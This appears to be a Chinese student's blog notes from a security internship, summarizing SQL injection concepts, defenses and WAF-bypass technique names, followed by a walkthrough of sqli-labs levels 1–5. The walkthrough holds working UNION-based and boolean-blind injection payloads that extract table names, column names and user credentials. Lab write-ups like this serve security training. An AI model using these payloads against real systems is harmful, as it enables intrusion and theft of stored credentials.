重邮校内实习day5

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理

SQL注入,也称SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

SQL注入常用函数及含义

1.UNION: 用于将多个SELECT语句的结果合并在一起。攻击者可以利用这个函数从其他表中提取数据。

2.SELECT: 用于从数据库中查询数据。攻击者可以通过构造恶意的SELECT语句来获取敏感信息。

3.WHERE: 用于指定查询条件。攻击者可以通过修改WHERE子句来操控查询结果。

4.OR: 用于在WHERE子句中添加额外的条件。攻击者可以利用OR语句来绕过身份验证。

5.AND: 用于在WHERE子句中添加条件。攻击者可以通过构造复杂的AND条件来获取数据。

6.DROP: 用于删除数据库中的表或数据库。攻击者可以利用这个函数来破坏数据。

7.INSERT: 用于向数据库中插入数据。攻击者可以通过INSERT语句插入恶意数据。

8.UPDATE: 用于更新数据库中的数据。攻击者可以利用UPDATE语句修改敏感信息。

9.EXEC: 用于执行存储过程或动态SQL。攻击者可以利用EXEC执行任意SQL命令。

10.HAR(): 用于将ASCII码转换为字符。攻击者可以利用CHAR函数构造复杂的SQL注入。

11.CONCAT(): 用于连接字符串。攻击者可以利用CONCAT函数拼接SQL语句。

12.SUBSTRING(): 用于提取字符串的一部分。攻击者可以利用SUBSTRING函数获取敏感数据。

SQL注入防御手段

1.在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计资料访问功能。

2.在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。

3.如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。

4.使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。

5.使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。

6.增强网页应用程序防火墙的防御力

SQL注入常用绕过waf的方法

1.编码伪装

2.转义字符伪装

3.随机数混淆

4.大小写伪装

5.双写伪装

6.内联注释伪装


2.sqli-labs通关前5关

第一关

提示我们输入数字,那我们分别输入?id=1和2的,看看是否变化

我们发现输入数字值不同返回的内容也不同,所以判断输入的内容是带入到数据库里面查询的,接下来我们判断sql语句是否是拼接,且是字符型还是数字型

发现是字符型且存在拼接,接下来我们查看表格有多少格

发现4格就超出了范围,接着看表格里面哪一列是在页面显示的

发现第2,3位显示在页面,然后我们输入函数获取当前数据名和版本号,得知数据名为 security 版本号为 5.7.26

然后从表里获取需要的信息

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

知道数据库里只有四个表后,就可以爆字段名得到表下的字段名以及内容

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

首先我们和第一关一样进行常规的判断操作

发现输入单双引号报错,可以知道这关应该是数字型注入,接着重复第一关的注入操作即可,只不过将之前注入语句的id=-1'的单引号去掉即可

第三关

同样的先判断注入类型

判断sql语句是单引号字符型且有括号,同样的重复第一关操作进行注入,只不过把id=-1'改为id=-1')即可

第四关

同样先判断类型

判断sql语句是双引号字符型且有括号,同样的重复第一关操作进行注入,只不过把id=-1'改为id=-1")即可

第五关

还是先判断类型

判断sql语句是单引号字符型,但是对于没有出错的界面不像前面四关一样页面出现不同的反应,此时判断联合注入没有用了,我们可以选择布尔盲注

获取当前数据库名的长度 

?id=1'and length((select database()))>9--+

判断字符

?id=1'and ascii(substr((select database()),1,1))=115--+

判断所有表名字符长度 

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断表名

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

判断所有字段名的长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度

?id=1' and length((select group_concat(username,password) from users))>109--+

检测长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+


3.总结SQLi的手工注入的步骤

1.构造特殊的查询语句

2.动态查询数据库

3.返回数据库信息

4.获取数据库信息

5.利用已获取的信息登录后台管理系统

6.入侵破坏,如修改数据,页面篡改,网站挂马等


4.使用sqlmap通过或验证第六关

检测注入点

获取所有数据库的基本信息

获取数据库user表信息

获取需要的数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值